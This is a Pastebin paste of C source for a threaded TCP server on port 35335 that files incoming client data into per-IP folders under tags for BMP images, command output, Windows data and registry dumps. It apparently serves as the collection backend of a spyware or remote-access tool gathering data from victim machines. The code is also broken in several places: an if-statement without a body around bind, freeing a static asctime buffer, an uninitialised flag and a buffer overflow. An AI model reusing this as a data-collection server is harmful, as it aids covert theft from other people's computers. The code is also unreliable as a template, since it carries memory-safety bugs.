Advertisement
Guest User

Untitled

a guest
Apr 25th, 2016
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.35 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>    //strlen
  3. #include <stdlib.h>    //strlen
  4. #include <sys/socket.h>
  5. #include <arpa/inet.h> //inet_addr
  6. #include <unistd.h>    //write
  7. #include <pthread.h> //gcc -pthread -o server server.c
  8. #include <time.h>
  9. #include <sys/types.h>
  10. #include <sys/stat.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #include <fcntl.h>
  14. void *connection_handler(void *);
  15. int NewFile(char * folder, int sign);
  16.  
  17.  
  18. char * signature[4] =  {"[\\BMP]",
  19.                         "[\\CMD]",
  20.                         "[\\WIN]",
  21.                         "[\\REG]",
  22.                         };
  23. struct sockaddr_in temp_addr;
  24. int main(int argc , char *argv[])
  25. {
  26.     int socket_desc , client_sock , c;
  27.     struct sockaddr_in server , client;
  28.  
  29.     socket_desc = socket(AF_INET , SOCK_STREAM , 0);
  30.  
  31.     server.sin_family = AF_INET;
  32.     server.sin_addr.s_addr = INADDR_ANY;
  33.     server.sin_port = htons(35335);
  34.  
  35.     if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
  36.  
  37.     listen(socket_desc , 3);
  38.  
  39.     c = sizeof(struct sockaddr_in);
  40.     pthread_t thread_id[65535];
  41.     int kek = 0;
  42.     while( (client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c)) )
  43.     {
  44.         puts("\nклиент подключен:\n");
  45.         struct sockaddr_in* pV4Addr = (struct sockaddr_in*)&client;
  46.         struct in_addr ipAddr = pV4Addr->sin_addr;
  47.         char * ipshnik = inet_ntoa(ipAddr);
  48.         puts(ipshnik);
  49.         temp_addr = client;
  50.  
  51.         if( pthread_create( &thread_id[kek++], NULL ,  connection_handler , (void*) &client_sock) < 0)
  52.         {
  53.             perror("проблемы с потоками");
  54.             return 1;
  55.         }
  56.         sleep(30); // жду пока функция захавает структуру
  57.     }
  58.  
  59.     if (client_sock < 0)
  60.     {
  61.         return 1;
  62.     }
  63.  
  64.     return 0;
  65. }
  66.  
  67. void *connection_handler(void *socket_desc)
  68. {
  69.     //=======получаю ip
  70.     struct sockaddr_in* pV4Addr = (struct sockaddr_in*)&temp_addr;
  71.     struct in_addr ipAddr = pV4Addr->sin_addr;
  72.     char * ip_address = inet_ntoa(ipAddr);
  73.     //=====
  74.     //------создаю папку
  75.     struct stat st = {0};
  76.  
  77.     if (stat(ip_address, &st) == -1) {
  78.         mkdir(ip_address, 0700);
  79.     }
  80.     //--------------------------
  81.     int sock = *(int*)socket_desc;
  82.     int read_size;
  83.     char *message , client_message[2000];
  84.     int file_busy = 0;
  85.     int i, first_packet, fh;
  86.     while( (read_size = recv(sock , client_message , 2000 , 0)) > 0 )
  87.     {
  88.         client_message[read_size] = '\0';
  89.         for(i = 0; i<4; i++){
  90.             int result = strcmp((const char *)client_message, signature[i]);
  91.             if(result ==0){ if(file_busy) { fh = 0; file_busy = 0; }
  92.                     fh = NewFile(ip_address, i);}
  93.         }
  94.  
  95.         //пропускаю первый пакет, т.к. в нем отпечаток файла
  96.        if(!first_packet) write(fh, client_message, strlen(client_message));
  97.        first_packet = 0;
  98.     }
  99.  
  100.     return 0;
  101. }
  102. int NewFile(char * folder, int sign)
  103. {
  104.     char * file_format[4]={".bmp",
  105.                             ".dir",
  106.                             ".win",
  107.                             ".reg"
  108.                           };
  109.     char * filename  = malloc(255);
  110.     char * path      = malloc(255);
  111.     strcpy(path, (const char *)folder);
  112.     struct tm tm = *localtime(&(time_t){time(NULL)});
  113.     filename = asctime(&tm);
  114.     strcat(path, "/");
  115.     strcat(path, (const char *) filename);
  116.     strcat(path, file_format[sign]);
  117.     mode_t mode = O_RDWR | O_CREAT| S_IRUSR | S_IRGRP | S_IROTH;
  118.     int fd = creat(path, mode);
  119.     free(filename);free(path);
  120.     return fd;
  121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement